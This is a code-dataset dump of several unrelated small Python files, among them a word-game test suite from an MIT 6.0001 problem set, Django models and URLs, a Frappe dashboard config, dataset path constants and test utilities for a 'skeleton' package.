] | null | null | null | ps3/test_ps3.py | John-L-Jones-IV/6.0001 | e58620b7fd59aa369c6d75071311d2930b669d8e | [
"MIT"
] | null | null | null | ps3/test_ps3.py | John-L-Jones-IV/6.0001 | e58620b7fd59aa369c6d75071311d2930b669d8e | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from ps3 import *
#
# Test code
#
def test_get_word_score():
"""
Unit test for get_word_score
"""
failure=False
# dictionary of words and scores
words = {("", 7):0, ("it", 7):2, ("was", 7):54, ("weed", 6):176,
("scored", 7):351, ("WaYbILl", 7):735, ("Outgnaw", 7):539,
("fork", 7):209, ("FORK", 4):308}
for (word, n) in words.keys():
score = get_word_score(word, n)
if score != words[(word, n)]:
print("FAILURE: test_get_word_score()")
print("\tExpected", words[(word, n)], "points but got '" + \
str(score) + "' for word '" + word + "', n=" + str(n))
failure=True
if not failure:
print("SUCCESS: test_get_word_score()")
# end of test_get_word_score
def test_update_hand():
"""
Unit test for update_hand
"""
# test 1
handOrig = {'a':1, 'q':1, 'l':2, 'm':1, 'u':1, 'i':1}
handCopy = handOrig.copy()
word = "quail"
hand2 = update_hand(handCopy, word)
expected_hand1 = {'l':1, 'm':1}
expected_hand2 = {'a':0, 'q':0, 'l':1, 'm':1, 'u':0, 'i':0}
if hand2 != expected_hand1 and hand2 != expected_hand2:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tReturned: ", hand2, "\n\t-- but expected:", expected_hand1, "or", expected_hand2)
return # exit function
if handCopy != handOrig:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tOriginal hand was", handOrig)
print("\tbut implementation of update_hand mutated the original hand!")
print("\tNow the hand looks like this:", handCopy)
return # exit function
# test 2
handOrig = {'e':1, 'v':2, 'n':1, 'i':1, 'l':2}
handCopy = handOrig.copy()
word = "Evil"
hand2 = update_hand(handCopy, word)
expected_hand1 = {'v':1, 'n':1, 'l':1}
expected_hand2 = {'e':0, 'v':1, 'n':1, 'i':0, 'l':1}
if hand2 != expected_hand1 and hand2 != expected_hand2:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tReturned: ", hand2, "\n\t-- but expected:", expected_hand1, "or", expected_hand2)
return # exit function
if handCopy != handOrig:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tOriginal hand was", handOrig)
print("\tbut implementation of update_hand mutated the original hand!")
print("\tNow the hand looks like this:", handCopy)
return # exit function
# test 3
handOrig = {'h': 1, 'e': 1, 'l': 2, 'o': 1}
handCopy = handOrig.copy()
word = "HELLO"
hand2 = update_hand(handCopy, word)
expected_hand1 = {}
expected_hand2 = {'h': 0, 'e': 0, 'l': 0, 'o': 0}
if hand2 != expected_hand1 and hand2 != expected_hand2:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tReturned: ", hand2, "\n\t-- but expected:", expected_hand1, "or", expected_hand2)
return # exit function
if handCopy != handOrig:
print("FAILURE: test_update_hand('"+ word +"', " + str(handOrig) + ")")
print("\tOriginal hand was", handOrig)
print("\tbut implementation of update_hand mutated the original hand!")
print("\tNow the hand looks like this:", handCopy)
return # exit function
print("SUCCESS: test_update_hand()")
# end of test_update_hand
def test_is_valid_word(word_list):
"""
Unit test for is_valid_word
"""
failure=False
# test 1
word = "hello"
handOrig = get_frequency_dict(word)
handCopy = handOrig.copy()
if not is_valid_word(word, handCopy, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected True, but got False for word: '" + word + "' and hand:", handOrig)
failure = True
# Test a second time to see if word_list or hand has been modified
if not is_valid_word(word, handCopy, word_list):
print("FAILURE: test_is_valid_word()")
if handCopy != handOrig:
print("\tTesting word", word, "for a second time - be sure you're not modifying hand.")
print("\tAt this point, hand ought to be", handOrig, "but it is", handCopy)
else:
print("\tTesting word", word, "for a second time - have you modified word_list?")
wordInWL = word in word_list
print("The word", word, "should be in word_list - is it?", wordInWL)
print("\tExpected True, but got False for word: '" + word + "' and hand:", handCopy)
failure = True
# test 2
hand = {'r': 1, 'a': 3, 'p': 2, 'e': 1, 't': 1, 'u':1}
word = "Rapture"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected False, but got True for word: '" + word + "' and hand:", hand)
failure = True
# test 3
hand = {'n': 1, 'h': 1, 'o': 1, 'y': 1, 'd':1, 'w':1, 'e': 2}
word = "honey"
if not is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected True, but got False for word: '"+ word +"' and hand:", hand)
failure = True
# test 4
hand = {'r': 1, 'a': 3, 'p': 2, 't': 1, 'u':2}
word = "honey"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected False, but got True for word: '" + word + "' and hand:", hand)
failure = True
# test 5
hand = {'e':1, 'v':2, 'n':1, 'i':1, 'l':2}
word = "EVIL"
if not is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected True, but got False for word: '" + word + "' and hand:", hand)
failure = True
# test 6
word = "Even"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word()")
print("\tExpected False, but got True for word: '" + word + "' and hand:", hand)
print("\t(If this is the only failure, make sure is_valid_word() isn't mutating its inputs)")
failure = True
if not failure:
print("SUCCESS: test_is_valid_word()")
# end of test_is_valid_word
def test_wildcard(word_list):
"""
Unit test for is_valid_word
"""
failure=False
# test 1
hand = {'a': 1, 'r': 1, 'e': 1, 'j': 2, 'm': 1, '*': 1}
word = "e*m"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word() with wildcards")
print("\tExpected False, but got True for word: '" + word + "' and hand:", hand)
failure = True
# test 2
hand = {'n': 1, 'h': 1, '*': 1, 'y': 1, 'd':1, 'w':1, 'e': 2}
word = "honey"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word() with wildcards")
print("\tExpected False, but got True for word: '"+ word +"' and hand:", hand)
failure = True
# test 3
hand = {'n': 1, 'h': 1, '*': 1, 'y': 1, 'd':1, 'w':1, 'e': 2}
word = "h*ney"
if not is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word() with wildcards")
print("\tExpected True, but got False for word: '"+ word +"' and hand:", hand)
failure = True
# test 4
hand = {'c': 1, 'o': 1, '*': 1, 'w': 1, 's':1, 'z':1, 'y': 2}
word = "c*wz"
if is_valid_word(word, hand, word_list):
print("FAILURE: test_is_valid_word() with wildcards")
print("\tExpected False, but got True for word: '"+ word +"' and hand:", hand)
failure = True
# dictionary of words and scores WITH wildcards
words = {("h*ney", 7):290, ("c*ws", 6):176, ("wa*ls", 7):203}
for (word, n) in words.keys():
score = get_word_score(word, n)
if score != words[(word, n)]:
print("FAILURE: test_get_word_score() with wildcards")
print("\tExpected", words[(word, n)], "points but got '" + \
str(score) + "' for word '" + word + "', n=" + str(n))
failure=True
if not failure:
print("SUCCESS: test_wildcard()")
def test_find_vowels():
failure = False
# test 1
word = 'abc'
index = find_vowels(word)
expected = [0]
if index != expected:
print("FAILURE: test_find_vowels()\nExpected", expected, "but got", index)
failue = True
# test 2
word = 'zebra'
index = find_vowels(word)
expected = [1,4]
if index != expected:
print("FAILURE: test_find_vowels()\nExpected", expected, "but got", index)
failue = True
# test 3
word = 'reddit'
index = find_vowels(word)
expected = [1,4]
if index != expected:
print("FAILURE: test_find_vowels()\nExpected", expected, "but got", index)
failue = True
# test 4
word = 'aeioyu'
index = find_vowels(word)
expected = [0,1,2,3,5]
if index != expected:
print("FAILURE: test_find_vowels()\nExpected", expected, "but got", index)
failue = True
# test 5
word = 'bzrtv'
index = find_vowels(word)
expected = []
if index != expected:
print("FAILURE: test_find_vowels()\nExpected", expected, "but got", index)
failue = True
if not failure:
print('SUCCESS: test_find_vowels()')
def test_replace_vowels():
failure = False
# test 1
word = 'apple'
words = replace_vowels(word)
expected = ['*pple', 'appl*']
if words != expected:
print("FAILURE: test_replace_vowels()\nExpected", expected, "but got", words)
failue = True
# test 2
word = 'reddit'
words = replace_vowels(word)
expected = ['r*ddit', 'redd*t']
if words != expected:
print("FAILURE: test_replace_vowels()\nExpected", expected, "but got", words)
failue = True
# test 3
word = 'foo'
words = replace_vowels(word)
expected = ['f*o', 'fo*']
if words != expected:
print("FAILURE: test_replace_vowels()\nExpected", expected, "but got", words)
failue = True
# test 4
word = 'bar'
words = replace_vowels(word)
expected = ['b*r']
if words != expected:
print("FAILURE: test_replace_vowels()\nExpected", expected, "but got", words)
failue = True
# test 5
word = 'baz'
words = replace_vowels(word)
expected = ['b*z']
if words != expected:
print("FAILURE: test_replace_vowels()\nExpected", expected, "but got", words)
failue = True
if not failure:
print('SUCCESS: test_replace_vowels()')
def test_calculate_handlen():
failure = False
# test 1
hand = {'a':1, 'p':2, 'l':1, 'e':1, 'f':1 , 'r':1, 'x':0 ,'y':0}
N = calculate_handlen(hand)
expected = 1+2+1+1+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
# test 2
hand = {'a':61, 'p':2, 'l':1, 'e':1, 'f':1 , 'r':1, 'x':0 ,'y':0}
N = calculate_handlen(hand)
expected = 61+2+1+1+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
# test 3
hand = {'a':0, 'p':0, 'l':0, 'e':0, 'f':0, 'r':0, 'x':0 ,'y':0}
N = calculate_handlen(hand)
expected = 0
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
# test 4
hand = {'f':1, 'o':2, 'b':2, 'a':2, 'r':1, 'z':1 ,'y':0}
N = calculate_handlen(hand)
expected = 1+2+2+2+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
# test 5
hand = {'f':1, 'o':2, 'b':2, 'a':2, 'r':1, 'z':1}
N = calculate_handlen(hand)
expected = 1+2+2+2+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
if not failure:
print('SUCCESS: test_calculate_handlen()')
def test_substitute_hand():
failure = False
# test 1
hand = {'a':1, 'p':2, 'l':1, 'e':1, 'f':1 , 'r':1, 'x':0 ,'y':0}
N = calculate_handlen(hand)
expected = 1+2+1+1+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
# test 2
hand = {'a':1, 'p':2, 'l':1, 'e':1}
N = calculate_handlen(hand)
expected = 1+2+1+1
if N != expected:
print("FAILURE: test_calculate_handlen()\nExpected", expected, "but got", N)
failue = True
if not failure:
print('SUCCESS: test_substitue_hand()')
def test_is_in_hand():
failue = False
# test 1
hand = {'f':1, 'o':2}
letter = 'f'
b_result = is_in_hand(letter,hand)
expected = True
if expected != b_result:
print('FAILURE: test_is_in_hand()\nExpected', expected, 'but got', b_result)
failure = True
# test 2
hand = {'f':1, 'o':2}
letter = 'b'
b_result = is_in_hand(letter,hand)
expected = False
if expected != b_result:
print('FAILURE: test_is_in_hand()\nExpected', expected, 'but got', b_result)
failure = True
# test 3
hand = {'g':1, 'o':2, 's':1, 'x':1, 'y':0, 'a':0, 'n':0, 'k':0}
letter = 'n'
b_result = is_in_hand(letter,hand)
expected = False
if expected != b_result:
print('FAILURE: test_is_in_hand()\nExpected', expected, 'but got', b_result)
failure = True
# test 4
hand = {'g':1, 'o':2, 's':1, 'x':1, 'y':0, 'a':0, 'n':0, 'k':0}
letter = 'x'
b_result = is_in_hand(letter,hand)
expected = True
if expected != b_result:
print('FAILURE: test_is_in_hand()\nExpected', expected, 'but got', b_result)
failure = True
if not failue:
print('SUCCESS: test_is_in_hand()')
def test_calculate_num_vowels():
failure = False
# test 1
hand = {'a':1, 'b':1, 'c':1, 'd':1, 'e': 1, 'f':1 }
n = 2
output = calculate_num_vowels(hand)
if output != n:
print('FAILURE: test_calculate_vowels()\nExpected', n,'but got',output)
display_hand(hand)
failure = True
# test 2
hand = {'a':1, 'b':1, 'c':1, 'd':1, 'e': 1, 'f':1, 'i': 2 }
n = 4
output = calculate_num_vowels(hand)
if output != n:
print('FAILURE: test_calculate_vowels()\nExpected', n,'but got',output)
display_hand(hand)
failure = True
# test 3
hand = {'b': 0, 'c':1, 'd':1, 'e': 1, 'f':1, 'i': 2, 'a':1, 'z':0, 'u':4 }
n = 8
output = calculate_num_vowels(hand)
if output != n:
print('FAILURE: test_calculate_vowels()\nExpected', n,'but got',output)
display_hand(hand)
failure = True
if not failure:
print('SUCCESS: test_calculate_num_vowels')
def test_deal_hand():
failure = False
fails = 0
# test 1 - test size of hand
N = 7
K = 100
for i in range(K):
hand = deal_hand(7)
if N != calculate_handlen(hand):
print('FAILURE: test_deal_hand()\nExpected', N, 'but got', calculate_handlen(hand))
failure = True
fails += 1
elif calculate_num_vowels(hand) != int(math.ceil(N/3)):
print('FAILURE: test_deal_hand()\nExpected', int(math.ceil(N/3)), 'vowels but got ', calculate_num_vowels(hand))
failure = True
fails += 1
if not failure:
print('SUCCESS: test_deal_hand()')
elif failure:
print('test_deal_hand() percent failue:', fails/K)
word_list = load_words()
print("----------------------------------------------------------------------")
print("Testing get_word_score...")
test_get_word_score()
print("----------------------------------------------------------------------")
print("Testing update_hand...")
test_update_hand()
print("----------------------------------------------------------------------")
print("Testing is_valid_word...")
test_is_valid_word(word_list)
print("----------------------------------------------------------------------")
print("Testing wildcards...")
test_wildcard(word_list)
print("----------------------------------------------------------------------")
print("Testing find_vowels...")
test_find_vowels()
print("----------------------------------------------------------------------")
print("Testing replace_vowels...")
test_replace_vowels()
print("----------------------------------------------------------------------")
print("Testing calculate_handlen...")
test_calculate_handlen()
print("----------------------------------------------------------------------")
print("Testing substitute_hand...")
test_substitute_hand()
print("----------------------------------------------------------------------")
print("Testing calculate_num_vowels...")
test_calculate_num_vowels()
print("----------------------------------------------------------------------")
print("Testing is_in_hand...")
test_is_in_hand()
print("----------------------------------------------------------------------")
print("Testing deal_hand...")
test_deal_hand()
print("----------------------------------------------------------------------")
print("All done!")
| 31.826642 | 124 | 0.537412 | 2,282 | 17,441 | 3.957932 | 0.086766 | 0.059787 | 0.079717 | 0.053477 | 0.773915 | 0.727524 | 0.690766 | 0.672387 | 0.649026 | 0.641054 | 0 | 0.026885 | 0.255719 | 17,441 | 547 | 125 | 31.884826 | 0.668901 | 0.042429 | 0 | 0.64752 | 0 | 0.002611 | 0.306807 | 0.109061 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028721 | false | 0 | 0.002611 | 0 | 0.046997 | 0.289817 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a317a407f94505903a629a13acb1200030167eb5 | 687 | py | Python | tests/hacsbase/test_hacs.py | swartjean/integration | 71ce7917ada49c36563352817d6fa07a70bb44b0 | [
"MIT"
] | null | null | null | tests/hacsbase/test_hacs.py | swartjean/integration | 71ce7917ada49c36563352817d6fa07a70bb44b0 | [
"MIT"
] | null | null | null | tests/hacsbase/test_hacs.py | swartjean/integration | 71ce7917ada49c36563352817d6fa07a70bb44b0 | [
"MIT"
] | null | null | null | import pytest
@pytest.mark.asyncio
async def test_hacs(hacs, repository, tmpdir):
hacs.hass.config.config_dir = tmpdir
hacs.repositories = [None]
assert hacs.get_by_id(None) is None
repository.data.id = "1337"
hacs.repositories = [repository]
assert hacs.get_by_id("1337").data.full_name == "test/test"
assert hacs.get_by_id("1337").data.full_name_lower == "test/test"
hacs.repositories = [None]
assert hacs.get_by_name(None) is None
hacs.repositories = [repository]
assert hacs.get_by_name("test/test").data.id == "1337"
assert hacs.is_known("1337")
await hacs.prosess_queue()
await hacs.clear_out_removed_repositories()
| 25.444444 | 69 | 0.704512 | 98 | 687 | 4.734694 | 0.326531 | 0.12931 | 0.140086 | 0.161638 | 0.459052 | 0.4375 | 0.4375 | 0.142241 | 0.142241 | 0 | 0 | 0.035088 | 0.170306 | 687 | 26 | 70 | 26.423077 | 0.778947 | 0 | 0 | 0.235294 | 0 | 0 | 0.068413 | 0 | 0 | 0 | 0 | 0 | 0.352941 | 1 | 0 | true | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a31a4d6c9c9f48646c72b9cb7eff37ad6b1a4043 | 393 | py | Python | dailyfresh/db/base_model.py | gliderkong/Test | 25b8c4460f5a8f55371a75900210504c84200dc2 | [
"Apache-2.0"
] | null | null | null | dailyfresh/db/base_model.py | gliderkong/Test | 25b8c4460f5a8f55371a75900210504c84200dc2 | [
"Apache-2.0"
] | null | null | null | dailyfresh/db/base_model.py | gliderkong/Test | 25b8c4460f5a8f55371a75900210504c84200dc2 | [
"Apache-2.0"
] | null | null | null | from django.db import models
class BaseModel(models.Model):
'''
模型类 抽象基类
'''
credits_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
update_time = models.DateTimeField(auto_now_add=True, verbose_name="更新时间")
is_delete = models.BooleanField(default=False , verbose_name="去除")
class Meta:
abstract = True # db不是一个应用,所以把不能注册,需要说明是一个抽象类
| 26.2 | 79 | 0.712468 | 49 | 393 | 5.510204 | 0.673469 | 0.122222 | 0.17037 | 0.2 | 0.355556 | 0.355556 | 0.355556 | 0.355556 | 0.355556 | 0 | 0 | 0 | 0.178117 | 393 | 14 | 80 | 28.071429 | 0.835913 | 0.094148 | 0 | 0 | 0 | 0 | 0.029499 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
a31c1a86e74d5c77e6a61094d17db6b774575fd8 | 698 | py | Python | Python Exercises/Mundo2/exercicio37.py | joaopblume/Curso-em-video-exercicios | d554c0c07c8d65b3a219d76fc487a78c11eaf874 | [
"MIT"
] | null | null | null | Python Exercises/Mundo2/exercicio37.py | joaopblume/Curso-em-video-exercicios | d554c0c07c8d65b3a219d76fc487a78c11eaf874 | [
"MIT"
] | null | null | null | Python Exercises/Mundo2/exercicio37.py | joaopblume/Curso-em-video-exercicios | d554c0c07c8d65b3a219d76fc487a78c11eaf874 | [
"MIT"
] | null | null | null | # Escreva um programa que leia um número inteiro qualquer e peça para o usuário escolher
# qual será a base de conversão:
"""
> 1 para binário
> 2 para octal
> 3 para hexadecimal
"""
num = int(input('Escolha um número para ser convertido: '))
print('[ 1 ] Converter para BINÁRIO')
print('[ 2 ] Converter para OCTAL')
print('[ 3 ] Converter para HEXADECIMAL')
choice = int(input('Sua opção: '))
if choice == 1:
print(f'{num} convertido para BINÁRIO fica {bin(num)[2:]}!')
elif choice == 2:
print(f'{num} convertido para OCTAL fica {oct(num)[2:]}!')
elif choice == 3:
print(f'{num} convertido para HEXADECIMAL fica {hex(num)[2:]}!')
else:
print('Opção inválida, tente novamente.')
| 29.083333 | 88 | 0.674785 | 104 | 698 | 4.528846 | 0.461538 | 0.070064 | 0.057325 | 0.121019 | 0.146497 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02087 | 0.176218 | 698 | 23 | 89 | 30.347826 | 0.798261 | 0.244986 | 0 | 0 | 0 | 0 | 0.617761 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.538462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
a320e937b001c2209cfde37d6ffedfd889560831 | 273 | py | Python | api/status/urls.py | sixfwa/drf-api | 6cd29886c7137e89678a283f4860fbf2dda63bb0 | [
"MIT"
] | null | null | null | api/status/urls.py | sixfwa/drf-api | 6cd29886c7137e89678a283f4860fbf2dda63bb0 | [
"MIT"
] | null | null | null | api/status/urls.py | sixfwa/drf-api | 6cd29886c7137e89678a283f4860fbf2dda63bb0 | [
"MIT"
] | null | null | null | from django.urls import path
from . import apis
urlpatterns = [
path("status/", apis.StatusCreateListApi.as_view(), name="status"),
path(
"status/<int:status_id>/",
apis.StatusRetrieveUpdateDelete.as_view(),
name="status_detail",
),
]
| 21 | 71 | 0.641026 | 29 | 273 | 5.896552 | 0.551724 | 0.116959 | 0.116959 | 0.187135 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.212454 | 273 | 12 | 72 | 22.75 | 0.795349 | 0 | 0 | 0 | 0 | 0 | 0.179487 | 0.084249 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a33a31c6ba97e86179612f9e7add7158ee427f0e | 58 | py | Python | src/dummy_lib/__init__.py | StanleySane/github-actions-experiments | 4b028447a66208d864fe2f41f5eb300ff02f77fe | [
"BSD-3-Clause"
] | null | null | null | src/dummy_lib/__init__.py | StanleySane/github-actions-experiments | 4b028447a66208d864fe2f41f5eb300ff02f77fe | [
"BSD-3-Clause"
] | null | null | null | src/dummy_lib/__init__.py | StanleySane/github-actions-experiments | 4b028447a66208d864fe2f41f5eb300ff02f77fe | [
"BSD-3-Clause"
] | null | null | null | """ Dummy lib for experiments
"""
__version__ = '0.0.1a4'
| 14.5 | 29 | 0.655172 | 8 | 58 | 4.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 0.155172 | 58 | 3 | 30 | 19.333333 | 0.612245 | 0.431034 | 0 | 0 | 0 | 0 | 0.28 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a34248d707cfa727f95f1406276a70f2fdd1891f | 259 | py | Python | applications/applications/doctype/employee_applications/employee_applications_dashboard.py | beshoyAtefZaki/applications | 110178f324a847f65ea6152a1f4023d2b4e09274 | [
"MIT"
] | null | null | null | applications/applications/doctype/employee_applications/employee_applications_dashboard.py | beshoyAtefZaki/applications | 110178f324a847f65ea6152a1f4023d2b4e09274 | [
"MIT"
] | null | null | null | applications/applications/doctype/employee_applications/employee_applications_dashboard.py | beshoyAtefZaki/applications | 110178f324a847f65ea6152a1f4023d2b4e09274 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from frappe import _
def get_data():
return {
'heatmap': False,
'fieldname': 'application',
'transactions': [
{
'label': _('Financial Entry'),
'items': ['Journal Entry']
},
] }
| 16.1875 | 39 | 0.583012 | 23 | 259 | 6.217391 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.27027 | 259 | 15 | 40 | 17.266667 | 0.756614 | 0 | 0 | 0 | 0 | 0 | 0.297297 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | true | 0 | 0.166667 | 0.083333 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a348d4bed3728bdf07641a891dc6311359d2dc42 | 1,525 | py | Python | tests/data/constants.py | dnsosa/drug-lit-contradictory-claims | c03faa7269050344b631b12302214a3175384e98 | [
"MIT"
] | null | null | null | tests/data/constants.py | dnsosa/drug-lit-contradictory-claims | c03faa7269050344b631b12302214a3175384e98 | [
"MIT"
] | null | null | null | tests/data/constants.py | dnsosa/drug-lit-contradictory-claims | c03faa7269050344b631b12302214a3175384e98 | [
"MIT"
] | null | null | null | """File paths used in testing."""
# -*- coding: utf-8 -*-
import os
ROOT_DIR = os.path.abspath(os.path.join(__file__, "../../.."))
# CORD-19 paths
metadata_path = os.path.join(ROOT_DIR, 'tests/data/resources/cord19/test_metadata.csv')
# CORD-19 publication cut off date
pub_date_cutoff = '2019-10-01'
# MultiNLI paths
multinli_train_path = os.path.join(ROOT_DIR, 'input/multinli/multinli_1.0_train.txt')
multinli_test_path = os.path.join(ROOT_DIR, 'input/multinli-dev/multinli_1.0_dev_matched.txt')
sample_multinli_train_path = os.path.join(ROOT_DIR, 'tests/data/resources/sample_multinli_train.txt')
sample_multinli_test_path = os.path.join(ROOT_DIR, 'tests/data/resources/sample_multinli_dev.txt')
# MedNLI paths
mednli_train_path = os.path.join(ROOT_DIR, 'input/mednli/mli_train_v1.jsonl')
mednli_dev_path = os.path.join(ROOT_DIR, 'input/mednli/mli_dev_v1.jsonl')
mednli_test_path = os.path.join(ROOT_DIR, 'input/mednli/mli_test_v1.jsonl')
# ManConCorpus processed path
mancon_sent_pairs = os.path.join(ROOT_DIR, 'input/manconcorpus-sent-pairs/manconcorpus_sent_pairs_200516.tsv')
sample_mancon_sent_pairs = os.path.join(ROOT_DIR, 'tests/data/resources/sample_mancon.txt')
# Other input paths
drug_lex_path = os.path.join(ROOT_DIR, 'input/drugnames/DrugNames.txt')
virus_lex_path = os.path.join(ROOT_DIR, 'input/virus-words/virus_words.txt')
sample_drug_lex_path = os.path.join(ROOT_DIR, 'tests/data/resources/DrugNames.txt')
sample_virus_lex_path = os.path.join(ROOT_DIR, 'tests/data/resources/virus_words.txt')
| 43.571429 | 110 | 0.788197 | 251 | 1,525 | 4.49004 | 0.23506 | 0.085182 | 0.133097 | 0.173913 | 0.559006 | 0.559006 | 0.55457 | 0.55457 | 0.332742 | 0.168589 | 0 | 0.019746 | 0.070164 | 1,525 | 34 | 111 | 44.852941 | 0.775035 | 0.112131 | 0 | 0 | 0 | 0 | 0.418033 | 0.40462 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
a3613fbbb25ad48f57328a5f593969e63b21f85d | 2,120 | py | Python | skeleton/tests/utils.py | Affirm/skeleton | 28a4243b55de878a17ed57df2145227ad1c7a549 | [
"BSD-2-Clause"
] | 9 | 2015-04-20T23:49:41.000Z | 2020-02-25T04:21:00.000Z | skeleton/tests/utils.py | Affirm/skeleton | 28a4243b55de878a17ed57df2145227ad1c7a549 | [
"BSD-2-Clause"
] | 2 | 2018-10-20T07:35:14.000Z | 2019-12-24T15:52:58.000Z | skeleton/tests/utils.py | Affirm/skeleton | 28a4243b55de878a17ed57df2145227ad1c7a549 | [
"BSD-2-Clause"
] | 6 | 2017-10-28T06:20:17.000Z | 2021-08-05T11:17:28.000Z | """
Test tools
"""
import unittest
import tempfile
import shutil
from skeleton import Var
import os
class Mock(object):
"""Basic mock object"""
def __init__(self):
self.return_value = None
self.side_effect = None
self.call_args_list = []
def __call__(self, *args, **kw):
self.call_args_list.append((args, kw,))
if self.side_effect is not None:
return self.side_effect(*args, **kw)
elif self.return_value is not None:
return self.return_value
else:
raise Exception("No return value or side effect set.")
@property
def call_count(self):
"""
Return number of time the mock object has been called
"""
return len(self.call_args_list)
@property
def called(self):
"""Check if the mock object has been called"""
return self.call_count > 0
class TempDir(object):
"""
Wrapper class around tempfile.mkdtemp compatible with the "with statement"
"""
def __init__(self):
self.path = None
def create(self):
"""
Create temporary directory.
set the path attribute to the this directory path
"""
self.path = tempfile.mkdtemp()
return self
def remove(self):
"""
remove temporary directory.
"""
shutil.rmtree(self.path)
def join(self, *args):
return os.path.join(self.path, *args)
def exists(self, *args):
return os.path.exists(self.join(*args))
__enter__ = create
def __exit__(self, exc_type, value, traceback):
self.remove()
class TestCase(unittest.TestCase):
"""
Basic test case.
"""
def setUp(self):
"""
Mock Var._prompt
"""
super(TestCase, self).setUp()
self.input_mock = Mock()
self._input = Var._prompt
Var._prompt = self.input_mock
def tearDown(self):
"""
Reset Var._prompt and remove the temporary directory.
"""
super(TestCase, self).tearDown()
Var._prompt = self._input
